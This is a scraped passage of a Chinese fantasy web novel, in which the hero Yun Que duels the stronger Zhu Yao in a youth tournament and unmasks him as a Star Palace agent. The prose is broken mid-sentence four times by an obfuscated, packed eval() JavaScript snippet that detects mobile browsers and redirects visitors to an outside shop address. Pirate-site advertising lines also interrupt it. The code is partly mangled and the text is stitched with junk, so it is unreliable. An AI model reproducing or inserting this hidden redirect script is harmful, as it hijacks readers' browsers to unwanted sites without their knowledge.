,外人不得而闻,声音里带着一种畏惧之意,只有他自己才能听到。 不灭,指的不是云缺死而复生的现象。 而是修武一途的一个境界称谓。 二品不灭! 在三品归真之上,是不灭境。 达到二品的武者,拥有着堪称恐怖的恢复之力,不但能接续残肢,还可以断肢重生! 二品武者超强的再生能力,完美对应了不灭这个称谓。 只要元神不灭,哪怕骨断筋折,脖子被打碎,脏器碎裂,仍旧可以恢复过来。 在朱幺眼里,云缺的死而复生,与二品不灭的天赋之力几乎一模一样! 很快朱幺便从惊恐中醒悟过来。 云缺身上所散发的气息,明显是五品金身境,绝非二品。 他怎么活过来的…… 朱幺心里疑惑不解,想不通云缺能复生的真相。 他晃了晃头,将疑惑甩开,瞪起眼睛一声大喝,归真强者的禁锢之力再次爆发,将整个擂台重新封闭。 朱幺没有小看云缺,他动用了全力,一旦禁锢之力笼罩擂台,云缺身上散发的金身气息立刻消失在这片空间当中,成为了凡人。 不过这一次,云缺更加清晰的感受到了归真强者布下的领域之力。 在云缺的感知中,身边左右的空气中充满了密密麻麻犹如雨滴般的细小气机。 这些气机极其繁多,组成了细密的雨幕,身处其中的人就像站在了大雨当中,避无可避。 四面八方全是雨水,自然没有了任何退路。 那是归真强者将气机运转到极致的表现。 所有雨滴都是一道道强悍的气机,用来组成类似大阵般的禁锢,宛如领域,陷入其中的任何人都会被完全压制。 然而雨幕虽然密密麻麻,却有着很多漏洞。 只要自身能凝聚出类似雨滴的气机外溢,即可将对方的雨滴对冲掉,抵挡住。 云缺得出一个猜测, 之所以朱幺的领域能力是雨幕形态,而非填满所有空间的气机,是因为朱幺成为三品强者的时间不算太长,并未达到圆满程度。 归真的领域之力,云缺曾经在雷音寺的山顶体会过。 来自武威王忆白龙。 忆白龙散发的领域能力,完全封锁了空间中的每一个空隙,犹如一个实心的西瓜。 而朱幺的领域之力,只能说成是一个遍布孔洞的蜂巢。 三品与三品之间,一样存在着巨大的差距,同阶不同实力的现象,其实在修行界十分常见。 感知到气机雨滴之后,云缺开始调动自身气机,同样形成雨滴形状,与本体周围的雨滴对撞,成功消弭了很多。 现在的云缺, 在不动用煞气,并且本体没动用任何力量的前提下,就能在朱幺的禁锢中行动如常,不受领域之力的限制。 完美金身的敏锐感知,让云缺达到了如今的程度,以五品境界破开三品归真的禁锢,绝对称得上奇迹! 云缺在擂台上活动了一番手脚,望向朱幺道: “我得谢谢你,没有你这最后一块垫脚石,我也达不到完美金身的地步。” 朱幺心头在惊讶着禁锢之力的失效,神色却冷冷的道: “要不然我怎么拿你当兄弟呢!既然这么大的恩情,你不如跪下磕两个头感谢一番,放心,我受得起!” 云缺摇了摇头,轻叹一声道: “唉,你的名字起错了,不该姓朱,应该姓老母猪的猪,登鼻子就能上脸。” 猪鼻子够长,自然容易踩鼻子上脸。 朱幺勃然大怒,吼道: “区区五品而已,休要张狂!老子可是三品归真!既然你没死透,我就多费点力气,把你打到彻底咽气!” 云缺轻笑道: “我这五品,可不是普通的五品,完美金身,你听没听过。” 朱幺冷哼道: “完美金身又如何!充其量你比普通金身强一些而已,就算你有能力挑战四品破军又能怎样,你该不会认为自己有能力战胜三品吧,那是痴人说梦!” 说话间朱幺往前迈出一步,三品气机在周身炸起! 台下的人们以肉眼即可看到,朱幺身上仿佛燃烧着一团火焰,他周身丈许的范围内,空间都有些扭曲。 三品归真之力,在四周少年们的心里是一种无法匹敌的恐怖力量。 别说挑战三品强者,面对一位归真武夫,能在人家面前站稳而不跪下,就已经是奇迹了。 见云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445191|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缺居然还不退走 ,柳真真焦急的喊道: “别打了!云缺你快下来!完美金身也斗不过归真的! 史得侩也反应过来,急忙跟着大喝: “对啊不能再打!再打就真没命了!以卵击石没有好下场的!云缺你放弃吧,要不然,你的卵会被石头砸碎!少一个都要命,少两个就玩完啦! 史得侩一番好心,规劝云缺放弃这场决战。 只不过周围人越听越不对劲儿,人们纷纷以怪异的目光望向这位少年城的大将军。 以卵击石,一个就够了,怎么出来两个? 好像还是人身上的? 刹那间,史得侩旁边的男修士纷纷觉得胯下一凉,大家终于明白了大将军口中的以卵击石是什么意思。 原来在大将军眼里,以卵击石,是用自己的啊! 没学问,真可怕…… 云缺朝着众人抱了抱拳,笑道: “多谢大家关心,既然是决战,岂有退避的道理,少年王,我要定了! 一句要定了,道出了天下少年的桀骜。 擂台周围的无数少年只觉得热血沸腾,为云缺振臂高呼,目光灼热的盯着擂台。 此时此刻,已经无需胜负作为少年王的标准。 云缺的不屈之心,傲然之意,足以当得上少年王三个字! 擂台旁, 立在虚空的丞相摇了摇头,带着满心疑惑回到了大秦一方,继续观战。 左兰山想要看一看,擂台上的唐太子究竟还有什么能耐,是否连三品也能抗衡。 若当真大唐出了这种奇才,那么大秦以后的日子,怕是不会好过。 不管驸马到底是不是唐太子,左兰山已经打定了主意,一定要将其彻底驯服,收于麾下。 如此奇才,足以做他左兰山的衣钵传人。 别人看到的,是云缺在武道之上的惊人天赋,而左兰山更加清楚云缺在儒道上的天赋,比起武道天赋还要可怕。 擂台上, 云缺缓缓转向朱幺,目光渐渐冷了下来。 朱幺见对方即将出手,神色也凝重起来,他要拿出全部能力,来好好教训一番对面这个不开眼的金身武夫。 出手之前,云缺很贴心的问道: “准备好了 没有。” 朱幺怒道:“废话!出招吧!老子早就准备好了!” 云缺不急不恼背着手如同谁家长辈般说道: “准备好了那就履行赌约叫爷爷。” 朱幺愣了一下接着胖脸发红怒不可赦。 打赌叫爷爷这码事儿人家还没忘呢。 朱幺的双拳互相一撞发出一声闷响气浪四溢他怒道: “让我叫爷爷你也配!孙子你好好等着爷爷这就来打死你!” 面对着即将出手的归真境强者云缺终于有所动作。 万众瞩目之下 台下的众人纷纷面带不解。 看不懂云缺做出这种奇怪的姿态有何目的看着像要抓取武器可半空中哪里有刀剑的影子。 在人们的费解当中云缺的手心里忽然涌动出一股血色! 一节漆黑的刀柄凭空而现。 嗡!!!!!!!!!! 在云缺握住刀柄之际一柄黑刀仿佛从虚空中被抽了出来。 刀鸣之音伴着冲天妖气响彻少年城!!! 第592章 一千七百刀 五品金身自然斗不过三品归真。 哪怕完美金身,也无法做到横跨两个大境界去挑战三品强者。 以云缺的武道天赋,加上淬炼到极致的肉身,凭着完美金身的庞大气机足以对抗四品破军,但是对上三品,实在吃力,几乎没有胜算。 但是云缺并非正常的武者,他是妖血武夫! 妖魂之力,终于被云缺毫无忌惮的催动而出,始终没有动用的妖刀,第一次出现在少年擂! 妖刀出鞘,预示着云缺终于可以动用全力。 当握住妖刀那一瞬间,云缺心头畅快不已,没刀的猎妖人实在憋屈,有刀的猎妖人才能战个痛快! 黑刀的出现,令周围的少年们惊呼四起。 “那是什么刀?是法器还是法宝!” “看不出来,没有法宝的气息,肯定也不是法器,对战的可是三品强人,拿出法器有什么用。” “那把刀看起来好凶啊,我怎么觉得有点心惊肉跳?脖子后边凉瘦瘦的!” “是杀气太重!无论什么武器,只要杀的活物足够多就能汇聚出厚重的杀气,那把黑刀至少斩杀过成千上万的活物!” “这么说,云缺是杀人狂魔!死在他刀下的有上万人!” “猪脑子啊你!活物就得是活人吗,野兽和妖兽都是活物啊,人家肯定杀了无数妖族!” “对哦!难怪妖兽攻城那晚,他杀得那么顺手,斩妖如切菜,原来是斩妖的高手!” 少年们都在赞叹着云缺奇异的武器,很多人都能感受到黑刀上的磅礴杀气,对这把刀赞叹不已。 而商暮在看到黑刀之后,眼瞳不受控制的转为幽蓝,额头甚至出现了星狼特有的纹路。 她的妖力,在黑刀面前出现了失控的征兆! 商福第一个发现自家妹子的变化,急忙提醒道: “这里不是擂台,不用跟他打斗,现出妖力容易被人误会,快收回去!” 商福以为商暮在发疯,以为自己身处擂台,忘了这里是擂台之下的人群当中。 商暮艰难的压制着妖力,语气震惊的低声道: “星狼在防御!他的那把刀,蕴含着可怕的妖力!” 商福听罢惊讶不已,眼睛瞪得如同鸡蛋。 隔 着擂台这么远,居然能让商暮身上的妖力自行激发,可见人家手里的黑刀有多恐怖。 云缺握住妖刀的同时,对面的朱幺几乎在同一时间拿出了武器。 是一柄金灿灿的大棍,散发着法宝气息。 从少年擂一开始的时候,朱幺与云缺一样,根本没用武器,完全以拳脚对战。 即便之前与云缺对战,朱幺仍旧赤手空拳。 可是云缺出刀之际,朱幺也选择了动用武器,在外人看来实属正常,毕竟对手都拿出武器了,自己空手岂不是吃亏。 然而看到朱幺的法宝大棍之际,云缺的眉峰忽然动了一下。 并非对方的法宝多么神异,而是朱幺取出法宝的动作,毫无迟疑。 这一点有些不正常。 身为归真强者的朱幺,是一个狂妄之人。 从其暴打二皇子即可看得出来。 而且这家伙的狂妄,比其他人更加严重。 原因很简单。 朱幺曾经在少年城隐忍了十多年,装了十多年弱鸡,漫长的岁月,足以让他生出郁闷暴躁的心情。 而这份郁闷与暴躁,在今天终于被完全释放,成为了一份极致的狂傲。 现在的朱幺,心理或多或少不太正常,他要打败擂台上的一切对手,做到一鸣惊人,如此才能抒发憋在心里十多年的郁闷。 云缺推测,即便自己拿出妖刀,以朱幺的狂傲也应该先动用拳道。 若是发现妖刀很强,他对付起来有点吃力,再动用法宝也不迟。 这才是正常顺序。 可妖刀一出,朱幺立刻动用武器,仿佛他知道妖刀的危险似的。 云缺隐约间觉得,朱幺,好像很了解自己…… 之前的宝境二重,现在的提前动用武器,都在证明着朱幺对自己的熟悉。 怎么回事…… 难道是我想多了…… 云缺甩开脑海里的杂念,不再多想。 手持妖刀,云缺冷声道: “我这人最看重公平,你打我一拳,我还你一百刀,之前你打了我十七拳,现在,我还你一千七百刀! 擂台上刀光耀起! 出手便是断刀式! 在台下众人的眼里,云缺斩出的不 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 是一道刀光而是一片又一片的刀光! 层层叠叠的刀光宛如奔涌的浪涛前仆后继冲向强敌。 朱幺冷哼一声将大棍转动成风车在其身前竟形成了一道狂风龙卷! 三品归真之力这一次被朱幺尽数施展开来。 棍风龙卷占据了半个擂台的范围将迎面而来的刀气完全搅碎! 归真强者本就强大得可怕一旦动用法宝简直如虎添翼。 尽管云缺动用了断刀式仍旧伤不到人家分毫。 台下众人看得心惊肉跳。 如此程度的决战早已超出了少年擂的范畴天下间哪有如此可怕的少年人! 擂台上的两个简直就不是人而是恐怖的怪物! 刀气与棍风肆虐之际云缺的身影在原地消失。 同时两个云缺分别出现在朱幺的一左一右两把黑刀齐齐斩向朱幺的脑袋! 黑刀切进了龙卷以极快的速度与刁钻的角度完美避开了大棍的绞杀一刀切脖子一刀切后脑勺。 朱幺也没想到云缺的刀居然如此之快! 他惊讶中急忙转换棍法将大棍横在脑后以法宝扛住了两刀。 两把黑刀尽数被震开看似没什么威能但这场打斗的局面已经发生了改变。 第一次三品归真境的朱幺选择了防御! 段无病柳真真等一些五品高手此刻看得惊讶不已。 云缺出刀的速度比之前出拳的速度快了太多瞬息而至! 行家伸伸手便知有没有。 身为五品的段无病与柳真真史得侩等人都与现在的云缺同阶他们十分清楚五品武者的能力并且一直在观察对比。 想要看看云缺的完美金身 好奇之心人皆有之又是涉及当前境界的大事段无病等人自然十分关注。 可看到云缺出刀之后段无病等人的心里生出一种无力感。 人家的刀法不仅快到无法追赶威力更是恐怖连三品归真都不得不防御可见这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445192|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀若是砍在五品金身的身上必定一刀枭首! 人比人死货比货扔。 在场的五品武夫并不少没人觉得自己能与云缺对 战,一旦交手,必死无疑! 商福的脸变得苍白如纸。 他看了看云缺,又看了看自家妹子,叹气道: “萍山君肯定没戏了,妹子,咱们再找别的妖兽好了,可不能再和云缺打了。” 商暮已经压制了妖力,恢复了正常,尽管她心里还是不服,也只能点了点头。 她现在才六品修为,人家能与三品交锋,这还怎么打? 除非她也能成为完美金身,否则对上云缺毫无胜算。 擂台上的打斗变得越发惊险。 云缺的两道身影比之前打斗的时候还要快,影步施展得看不到任何踪迹。 之前若是眼力够强的人,还能看到影步遗留的残影,从而判断出云缺挪移的方位,现在连残影都没有,几乎就是瞬间移动! 强横的妖刀,加上极致的身法,云缺与朱幺斗得不相上下,势均力敌。 左兰山看得聚精会神,频频点头。 他能看得出云缺的刀法极其玄妙,威力也足够可怕,但是在朱幺的棍法之下还是落在下风,毕竟等阶差距太过悬殊,能做到将刀法施展得如此精巧,足以令人震惊。 而云缺的身法,则弥补了刀法威力的不足,这才能与三品归真战得不相上下。 如此武道天赋,左兰山这辈子都没见过。 但是左兰山认为云缺仍旧难以战胜朱幺,哪怕是完美金身,也难以战胜一位实打实的三品归真。 果然如左兰山预料的那般,在大致摸清了云缺的刀法之后,朱幺施展出绝学。 “开山棍!” 随着朱幺的大喝,他手里的大棍横扫而出! 大棍刮起了一股黑风。 黑风里竟传来虎啸之音! 一颗颗狰狞的虎头在棍风中若隐若现,如群虎扑食一般,从擂台左侧冲来。 令人们惊奇的是,朱幺虽然扫出一棍,但棍风却有两股! 另一片黑风在擂台右侧出现,同样幻化出无数虎头,扑向擂台中心。 两股棍风,宛如两群猛虎,整个擂台的区域便是狩猎之地! 虎群之力,远非狼群可比,朱幺的棍法之强,引起了台下四周的无数惊呼。 擂台上, 云缺的两道身影几乎在瞬间便被虎群所淹没! 无数的虎啸声在擂台中心炸起,那是棍风轰击到极致的体现。 一些眼力够强的修行者,目睹了黑风中云缺的两道身影被尽数撕裂的画面。 看到此景的修行者,一时间认为云缺被打死在擂台! 可是下一刻。 第三道云缺的身影竟出现在朱幺身后! 在这瞬间,擂台上总共有三个云缺,人们终于恍然大悟。 之前还是六品的时候,云缺只能动用一道影身,现在进阶五品又成了完美金身,影身之法也随之提升。 黑刀迎头而下,斩出一片半圆的刀光! 在人们眼里,仿佛云缺斩出的不是刀光,而是斩出了一轮漆黑的弦月! 断刀式第四式! 四断百鬼子孙! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第593章 龙筋是你能碰的吗 面对归真境的强敌,最有用的战术便是攻其不备。 朱幺最大的弱点,是他的速度,云缺将自身速度发挥到极致,专门在朱幺背后出手。 十式断刀式,威能依次递增。 云缺用两道影身正面攻出前三式,本体则以影步挪移到朱幺身后,动用了威力更强的第四式。 这一刀的威能,在完美金身的磅礴气机所驱动之下,足以重创四品破军。 但是想伤到三品归真,还差了很多。 归真强者的感知程度,达到了一个可怕的地步,尽管朱幺散发的禁锢之力无法困住云缺,但这方擂台是他的领域范围,其上的任何动静,他都能顷刻间捕捉。 朱幺别看速度跟不上影步,但他的灵活程度可不低,在妖刀斩落之际,他往下一蹲,双手举棍,硬抗妖刀。 轰!!!!!! 刀身与棍身撞击在一处,发出一声轰鸣。 四散的刀气卷起大片狂风,吹得两人衣衫猎猎。 朱幺虽然挡下了这一刀,脚下的地面也随之开裂,坚固的岩石被踩出两个深深的脚印! 朱幺看似有些狼狈,但云缺也没好多少,被大棍震得在半空腾起数丈。 “不赖!有点力道,再来!” 朱幺大喝一声,抡动大棍,砸向云缺。 这是好机会! 云缺正在半空,无处落脚,正好能一棍砸扁! 不等朱幺出棍,他忽然神色一变。 因为云缺在半空的姿态有些古怪,竟双手持刀,本体旋转如陀螺。 黑刀随着本体而动,在半空快速旋转,远远望去犹如一轮漆黑的满月! 狂暴的刀气从头顶压来。 朱幺看得出对方动用了更强的刀法,他犹豫瞬间就放弃了砸出大棍的举动,再次以双手持棍,做出防御状态。 对于云缺的黑刀,朱幺十分忌惮。 黑色满月在形成之后,轰然而落。 云缺这次斩出的刀气不同以往,共有百道刀气,每一道刀气都蕴含着极其可怕的气息。 百道刀光宛如百柄铡刀,同时从天而降! 擂台四周的人们看到了一幕奇观, 半空中的漆黑刀光形成了一片黑幕,瞬间将朱幺笼罩其中。 刀落之际,云缺冷冽的喝声也随之传来。 “五断,邪魔百怪!!! 咔!咔!咔!!!!!!!!! 金铁交鸣的刺耳锐响从擂台上传来,台下的众人下意识的捂住了耳朵。 那是妖刀与大棍轰鸣的异响,传遍全城! 达到五品之后,云缺在刀法上再次突破,用出了断刀式的第五式。 六品境界的时候,很难施展出这招,因为宗师武者的气机不够驾驭第五式。 如今金身境大成,又是世间罕见的完美金身,云缺动用第五式可以说轻而易举。 五断邪魔百怪,这第五式断刀式专门为斩杀魔怪所创。 一刀出则百刀至! 邪魔百怪尽伏诛! 黑幕般的刀光,很快消散开来,现出了擂台上的两人。 云缺落在擂台中心,持刀而立。 朱幺保持着举棍扛山的姿态,一动不动。 咔…… 细微的响动,出现在朱幺左肩。 他左肩的衣袖被斩开了一节,同时左脸出现了一道细小的伤痕,一滴鲜血缓缓流下。 这一刻,四周安静得针落可闻! 人们甚至屏住了呼吸,一眼不眨的盯着擂台。 嘀嗒。 朱幺脸上的血滴终于掉落,落在擂台,发出一声很轻的响动。 伴着血滴落地的声音,擂台周围无数少年纷纷做出同一个动作。 咕噜,咽口水。 人们被彻底震惊! 那可是三品归真! 放在任何地方都可横着走的人物! 居然被伤到了! 云缺这一刀,终于伤及了朱幺的本体,在其脸上留下一道刀痕! 商福在看到朱幺流下的血迹后,没来由的一哆嗦,一把抓住商暮的手腕子,声音有些颤抖的道: “三品都能砍!妹子咱们以后见到他得绕着走,这家伙太凶了! 换成以往,商福若是如此胆怯,商暮肯定甩开她哥的手,再大骂一顿胆小鬼。 可此时此刻,商暮什么也没说,也没甩开她哥,目光里充满了深深的畏惧。 这位大商遗民终于承认,她不是云缺的对手,哪怕完全释放星狼之力,也打不过 人家。 连三品归真都能砍出血这是什么概念? 这是能砍死四品破军的预兆! 别人或许不清楚但是商暮十分断定台上的云缺没有运用全力! 因为云缺尚未动用妖力! 只用妖刀就能打到如此地步商暮已经不敢想象如果云缺完全释放妖力会是什么场面。 段无病只觉得心头有股热浪在翻涌他激动得大吼一声: “好刀法!” 对于云缺的刀法造诣段无病心服口服如此凶悍绝伦的断刀式不大赞一番自己都不舒服。 周围的少年们如梦方醒齐齐的震天大呼。 “好刀法!!!!!!” 连丞相左兰山都不得不频频颔首对云缺的刀法赞叹不已。 能在二十岁之前将刀法修炼到如此威能左兰山已经找不到对比的人物了。 将龙桃二十岁时候的能耐拿出来倒也算得上天赋异禀但是在云缺面前能把二十岁的太尉打出屎来! 至于自己二十岁的时候…… 左兰山的念头忽然被他自己顿住并且直接断掉。 老夫年轻时是儒家修士风流倜傥的少年儒生岂能与粗鄙的武夫对比! 不比不比绝对不比! 人群里的唐太子终于长出一口气抹了把额头白誉发现自己早已满头冷汗。 白誉现在不担心了。 云缺既然拥有伤及三品的能力自保肯定没问题。 轻松下来之后白誉觉得心里有什么疑惑未解他想起了之前被朱幺打死的那位大唐少年高手 白誉总觉得自己当时忽略了什么东西此时心里不再紧张他很快回想了起来。 当时大唐高手的尸体旁是一些碎裂的城墙残石本该是普通的碎裂石块而已其中却有些石块泛着些许银色。 白誉回头对着手下人问道: “尸体呢。” 立刻有人拖过来一个裹尸用的蛇皮袋子打开来让太子观看。 白誉在尸体身上翻了翻从衣襟中找出几块指甲大的碎石块。 其中有一块果然呈现着暗淡的银色。 白誉皱起眉动用法力将石块 捏碎。 石块没有完全碎裂,而是残留着些许灰白的晶块。 “银矿石…… 白誉确定手里的就是银矿石,他越发疑惑起来。 尸体身上的碎石块,是撞开城墙带来的,如此说来,少年城的城墙里,应该有矿石。 “以银矿修筑城墙,少年城果然傲气凌云。 白誉低语了一句,让手下将尸体收起。 以银矿砌城墙这种事,即便白誉身为大唐太子,都做不出来,实在败家。 白誉转头想要看一眼城墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462683|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的大洞。 这时擂台上的朱幺怪叫了一声,将白誉的目光拉到了擂台。 嘭一声! 朱幺将大棍戳在地面,立了起来,他自己松开手,活动了一下肩膀和脖子,狞声道: “刀法确实不错,以五品修为能伤到老子,你是第一个!也是最后一个!我会把你浑身骨头全部打断,抽你的筋,放你的血!让你流光最后一滴血! 朱幺怒了。 身为三品归真境的强者,居然被一个五品武夫砍了一刀。 伤势可以忽略不计,仅仅一道细小的刀口而已,但这份人,他丢不起! 这场实力悬殊的比斗,朱幺相当于一个彪形大汉,而云缺则是个五岁顽童,结果打到最后,朱幺非但没能掐死顽童,反而被顽童踹了一脚。 这一脚还正正好好踹在他脸上。 还是当着无数少年修士的面踹的! 朱幺的脸本来就红,现在气得红里透紫,脸都快黑了。 “正好一千七百刀,一刀不多,一刀不少。 云缺淡然一笑,道: “你太肥,放点血有益健康,我是为你好,你不领情也就罢了,何必恶言相向,还要抽我筋放我血,呵呵,龙筋,是你这种凡夫俗子能碰的吗! 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节) 比战力,云缺的确不是三品归真的对手。 朱幺的强悍云缺已经领教过了,刚才的第五式断刀式,云缺动用自身全力,可以说在没用妖力的前提下,云缺以完美金身境能施展出的最强一击。 但也仅仅在朱幺身上留下一道微不足道的伤口而已,可见归真之强。 但是比斗口,别说一个朱幺,一千个一万个朱幺一起上,也斗不过云缺这张 嘴。 一句龙筋何其傲然! 听得台下无数少年热血沸腾崇拜不已。 这才是少年修士该有的傲气! 朱幺被气得说不出话来一个劲儿的哇哇怪叫。 云缺见差不多了准备离开擂台。 这场少年擂 擂台是少年擂争的是少年王朱幺明显是个怪物根本不可能是什么少年天下间有几个二十岁的归真就算秦皇在二十岁的时候也未必能有归真境的修为。 以残破之躯打中朱幺一拳代表着少年人的坚持与不屈。 生死之境进阶完美金身代表着少年人的一往无前。 五品之力伤及三品归真代表着少年人的未来可期。 这三份经历触动了在场所有少年的心弦足以让云缺无需在擂台完成决战就冠上少年王的头衔! 云缺早已看出了这一点之所以在擂台上拼命正是为了完成这三点。 如今众望所归斩中朱幺相当于完成了少年王最后的加冕。 再打下去云缺会吃亏。 毕竟一个暴怒的三品归真可不是那么好对付的。 说辞云缺都想好了 以云缺的文采足以道出一番令人信服的理由。 刚想开口之际云缺的目光落在朱幺肩头。 刚才斩的那一刀切开了朱幺肩头的衣服但没伤及到血肉因为朱幺的锦衣里面还有一层。 那是一件紫色的衣袍。 衣领处隐约有一朵云纹虽然只看到一角却无比熟悉无比刺眼! 云缺的目光渐渐冷冽了下来。 离开擂台的打算被云缺抹掉。 云缺要留下来! 因为朱幺里面的那件紫袍只代表着一个称谓。 星辰殿!!! 第594章 戌狗亥猪 斩开朱幺的外衣,云缺看到了熟悉的紫袍。 尽管只有一角,云缺仍旧能断定那件紫袍所代表的含义。 这一刻,云缺脑海里犹如炸起了一声惊雷! 朱幺真正的身份,已经呼之欲出。 猪,乃是十二生肖最末一位。 幺,代表着最小的排位顺序。 朱幺,实际应该是猪幺,十二生肖最末的亥猪! 云缺微眯起双眼,目光冷若冰寒。 难怪朱幺取这种名字,又养了一头三阶妖王的狗子,朱幺若是亥猪的话,那么杂毛狗,就应该是戌狗! 少年城里混迹了两名星辰殿的高手,如此消息,连云缺都觉得震惊。 瞬息之间,云缺想到了很多东西。 大晋的监正魏墨城是巳蛇,神秘人是辰龙。 大唐的房家老祖是寅虎,寄生穹音尸体的勾玉是卯兔。 大秦少年城的朱幺是亥猪,杂毛狗是戌狗…… 星辰殿的十二生肖高手,基本会两人一组行动,而且干的都是惊天动地之事。 辰龙与巳蛇覆灭了大燕摧毁了妖都。 寅虎与卯兔覆灭了大唐佛门,击杀了雷音寺老方丈。 那么蛰伏于少年城的戌狗与亥猪,究竟有何目的? 他们要做的事,又是什么? 云缺仿佛看到了那座庞大而隐晦的棋盘。 与之前不同的是,这一次,云缺看清了棋盘上的一次棋路。 就是眼前的小胖子朱幺! 朱幺的图谋,必定极大,怎奈现在还看不到丝毫端倪,但云缺能断定,朱幺的目的一定在少年城! 否则的话,朱幺不会蛰伏在少年城十多年,不遗余力的帮着柳真真史得侩等人兴建少年城。 以柳真真等人的能力,从流浪的孤儿到如今的修为与地位,几乎是不可能的,更别提规模如此庞大的少年城。 可以说没有朱幺,就没有如今的少年城。 云缺猜测朱幺的目的是抗衡秦皇,所以建立起少年城这处不属于大秦的国中之国。 朱幺的口头禅就是干死秦皇,可见他与秦皇有仇。 二皇子见过秦皇身穿紫袍,说明秦皇也曾经是十二生肖之一,看来秦皇与星辰殿,有可能已经决 裂。 短短片刻而已,云缺已经做出决定。 不下擂台! 云缺想要验证一番,朱幺在少年城究竟有何目的。 这次是云缺唯一的一次,能亲身参与到棋局中的机会。 连棋路都看不清,谈何掀翻棋盘。 留在擂台,并非云缺的意气用事,而是有一定的把握。 因为朱幺的境界,是普通的三品,远远没到巅峰程度。 三品归真的确强大,少年城的无数修士无人敢面对,即便柳真真等人一起围攻都没什么机会获胜。 但云缺不同! 打到现在,云缺真正的底牌还没用呢。 那就是妖力! 云缺以武道,配合妖刀,加上完美金身的高绝境界,足以与三品归真周旋,即便赢不了,至少脱身毫无问题。 以云缺如今的实力,不动用月魁之力的前提下,能与四品破军战个平手。 动用妖力,那么云缺的实力还能暴增。 深吸一口气,云缺恢复了平静的神色,长刀平举,指向暴跳如雷的朱幺道: “孙子,跟你打听个人,你知不知道,巳蛇在哪。 朱幺正在哇哇怪叫,将大棍抓得咯吱作响,正要全力攻来,听到巳蛇二字他突然一愣。 一句试探,云缺就此断定了朱幺肯定是十二生肖之一,否则他不会出现这种表情。 “算了,巳蛇估计你也找不到,换一个,你爹在哪,让它上来与我一战。云缺道。 朱幺原本错愕的表情,此刻变得茫然起来。 “我爹?我爹早死了!三品归真你还嫌不够,老子自己就能把你打死!朱幺怒道。 “胡说什么,你爹刚才还活蹦乱跳在擂台上乱咬人呢。云缺表情严肃,如训斥晚辈般说道。 朱幺更怒了,恶狠狠的道: “放屁!我爹什么时候在擂台上咬人了! 云缺好整以暇的道: “刚才啊,戌狗不就是你爹么,它比你辈分大,它是狗,你是猪,你们合起来正好组成一个好词儿,猪狗不如。 朱幺的脑子有些转不过来了。 戌狗,怎么比亥猪辈分大? 就因为十二生肖排序,戌狗在亥猪之上? 朱幺大怒道: “你放屁!照你这么算,戌狗是亥猪的爹,那子鼠岂不是成了我祖宗!” 朱幺在暴怒之际,着了云缺的道儿。 他自己尚未察觉,他已经变相承认了自己就是亥猪,否则不会说出子鼠成了我祖宗这种话。 云缺点了点头,又摇了摇头。 点头,是断定了朱幺就是亥猪的身份。 摇头,是在否则子鼠的辈分。 云缺语气淡淡的道: “你说错了,子鼠为生肖之首,却是最小的一个,当不成祖宗,你祖宗其实不是子鼠,而是我啊。” 台下众人听到这里,实在忍不住,许多人捧腹大笑。 大家都觉得云缺实在太坏了。 占便宜也没有这么占的啊,人家可是三品归真强者,当三品的祖宗,这得多大的胆子。 大笑之余,人们对云缺的胆气佩服得五体投地。 面对三品归真,非但凛然不惧,还能谈笑风生,调侃自若,如此胆量称得上龙胆! 白誉与段无病等人没笑,反而替云缺担心起来。 激怒敌人,的确是个好办法,可以扰乱敌人的心智,越愤怒越容易出现破绽。 但对方毕竟是三品归真,与云缺相差两个大境界,一位暴怒的归真强者会发挥出恐怖的力量。 左兰山已经回归到大秦的区域,没有归座,而是站在大秦众人最前面观望着擂台。 云缺成功进阶完美金身,左兰山的心情变得无比复杂,又高兴,又恼火,又想将其收于麾下,又怕对方是假太子。 身为大秦丞相,左兰山已经很多年没有如此纠结过了。 大皇子凑了过来,道: “丞相大人,二皇子他……” 赢财本想让左兰山出手破开城外的封印,先送二弟回皇城疗伤。 话没说完就被左兰山挥手打断。 此时左兰山的神色变得无比凝重,眼中带着些许疑惑,因为他听到擂台上云缺道出的戌狗与亥猪两个词汇。 别人听闻戌狗亥猪,只能想到生肖,除此之外别无其他。 但大秦丞相,却知道一些不为人知的消息。 左兰山听闻过星辰殿,也听闻过星辰殿有十二位强大的高手< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 